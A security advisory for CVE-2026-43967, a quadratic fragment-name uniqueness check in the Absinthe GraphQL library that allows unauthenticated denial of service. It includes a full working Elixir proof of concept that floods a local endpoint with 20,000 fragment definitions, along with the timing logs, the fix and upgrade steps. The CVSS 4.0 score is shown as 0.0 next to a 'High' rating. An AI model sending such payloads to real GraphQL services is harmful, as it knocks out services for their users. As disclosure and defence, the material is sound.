GHSA-9mhv-8h52-q7q2 CVE-2026-43967 EEF-CVE-2026-43967
Absinthe: Quadratic fragment-name uniqueness check
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.62%
- Chance of exploitation in the next 30 days. Higher than 49.92% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-407 Inefficient Algorithmic Complexity
- Fix
1.10.2- Upgrade absinthe to this version or later
Description
Summary
An unauthenticated attacker can stall an Absinthe-backed GraphQL endpoint by submitting a query that contains many fragment definitions. The fragment-name uniqueness validation phase is O(N²) in the number of fragments, so a single modestly-sized request burns seconds of CPU per worker, and sustained traffic exhausts the worker pool (denial of service).
Introduced like with https://github.com/absinthe-graphql/absinthe/commit/0b46e3bcc06c0d3797bacd64761b908a84646c1d#diff-e540120c6a98cc1013be110d08e9d029511b9aabd26ad5f7f643c36834caac14
Details
Absinthe.Phase.Document.Validation.UniqueFragmentNames (lib/absinthe/phase/document/validation/unique_fragment_names.ex:14-40) walks every fragment in input.fragments via run/2, calling process/2 on each one. process/2 then calls duplicate?/2, which evaluates Enum.count(fragments, fn f -> f.name == name end) — a full linear scan of the fragment list — for every individual fragment. The result is N · N name comparisons per document.
input.fragments is built directly from the GraphQL query text the caller sends at the head of the pipeline, so N is attacker-controlled. A minimum-size fragment definition (fragment a on T{f}) is roughly 16 bytes, so a ~1 MB document carries ~60 000 fragments and forces ~3.6 × 10⁹ comparisons inside this one phase. Phoenix's default 8 MB body limit allows substantially larger blow-ups if operators have not lowered it. Nothing in this module caps N.
The fix is to aggregate names once per call rather than re-scanning per fragment, e.g.:
dups =
for {name, k} <- Enum.frequencies_by(input.fragments, & &1.name),
k > 1,
into: MapSet.new(),
do: name
and then check MapSet.member?(dups, fragment.name) inside process/2. That collapses the phase to O(N).
PoC
A standalone script that builds a GraphQL document with a large number of minimal fragment definitions, feeds it through Absinthe's pipeline, and times the UniqueFragmentNames phase is attached at the end of this report. Running it shows the validation time growing quadratically with the fragment count.
Impact
Algorithmic complexity / denial-of-service. Any service that exposes an Absinthe GraphQL endpoint to untrusted callers is affected: a single unauthenticated POST containing many fragment definitions pins a worker process for seconds, and modest sustained traffic exhausts the request-handling pool. No authentication, schema knowledge, or special configuration is required — only the ability to send a GraphQL query large enough to contain many fragments, which is permitted by Phoenix's default body-size limit.
Scripts and Logs
# Verifies: Quadratic fragment-name uniqueness check
Mix.install([
{:absinthe, "~> 1.7"},
{:absinthe_plug, "~> 1.5"},
{:bandit, "~> 1.0"},
{:plug, "~> 1.15"},
{:jason, "~> 1.4"},
{:req, "~> 0.5"}
])
defmodule VictimSchema do
use Absinthe.Schema
object :thing do
field :f, :string
end
query do
field :thing, :thing do
resolve(fn _, _ -> {:ok, %{f: "x"}} end)
end
end
end
defmodule VictimRouter do
use Plug.Router
plug :match
plug Plug.Parsers,
parsers: [:json],
pass: ["*/*"],
json_decoder: Jason
plug :dispatch
forward "/graphql",
to: Absinthe.Plug,
init_opts: [schema: VictimSchema]
match _ do
send_resp(conn, 404, "nope")
end
end
port = 47817
{:ok, _} = Bandit.start_link(plug: VictimRouter, port: port)
n = 20_000
fragments =
1..n
|> Enum.map(fn i -> "fragment f#{i} on Thing{f}" end)
|> Enum.join(" ")
query = "{ thing { f } } " <> fragments
IO.puts(
"Sending GraphQL document with #{n} fragment definitions (~#{div(byte_size(query), 1024)} KB) to 127.0.0.1:#{port}"
)
{us, response} =
:timer.tc(fn ->
Req.post!("http://127.0.0.1:#{port}/graphql",
json: %{query: query},
receive_timeout: 600_000,
retry: false
)
end)
ms = div(us, 1000)
IO.puts("HTTP response status: #{response.status}")
IO.puts("Total request elapsed (validation-dominated): #{ms} ms")
result =
if ms > 1000 do
"VERIFIED: ~#{n} fragments in one unauthenticated request forced #{ms} ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check)."
else
"NOT VERIFIED: elapsed #{ms} ms below DoS threshold"
end
IO.puts(result)
Logs
HTTP response status: 200
Total request elapsed (validation-dominated): 15451 ms
VERIFIED: ~20000 fragments in one unauthenticated request forced 15451 ms of CPU in Absinthe's UniqueFragmentNames phase (quadratic check).
Affected versions
Hex
| Package | Vulnerable | Fixed in |
|---|---|---|
| absinthe | >= 1.2.0, < 1.10.2 |
1.10.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
absinthe Hex → 1.10.2
- mix
{:absinthe, "~> 1.10.2"} # then: mix deps.update absinthe
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-407: Inefficient Algorithmic Complexity
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| EEF-CVE-2026-42793 Atom table exhaustion via attacker-controlled GraphQL SDL names in absinthe | High | Also affects absinthe |
| GHSA-2qm8-x737-gmw5 pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding | High | Same weakness, CWE-407 |
| GHSA-mm57-4v3p-rchx pyasn1 has quadratic-complexity denial of service in binary REAL decoding | High | Same weakness, CWE-407 |
| GHSA-9m75-vc3g-4x39 pyasn1 has quadratic-time denial of service in constructed string and indefinite-length ANY decoding | High | Same weakness, CWE-407 |
| GHSA-fm9c-5rcf-2q5p pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding | High | Same weakness, CWE-407 |
| GHSA-mgcc-cww5-fp2q Go JOSE: DoS when parsing JWKs that contain RSA keys | High | Same weakness, CWE-407 |
| EEF-CVE-2026-65631 erlang-jose RSA JWK parsing attempts to factor an attacker-controlled modulus, enabling CPU-exhaustion denial of service | Not rated yet | Same weakness, CWE-407 |
| EEF-CVE-2026-108529 SETTINGS and stream-0 WINDOW_UPDATE frames trigger quadratic work over blocked streams in Bandit | Not rated yet | Same weakness, CWE-407 |
Credits: Curtis Schiewek, Peter Ullrich
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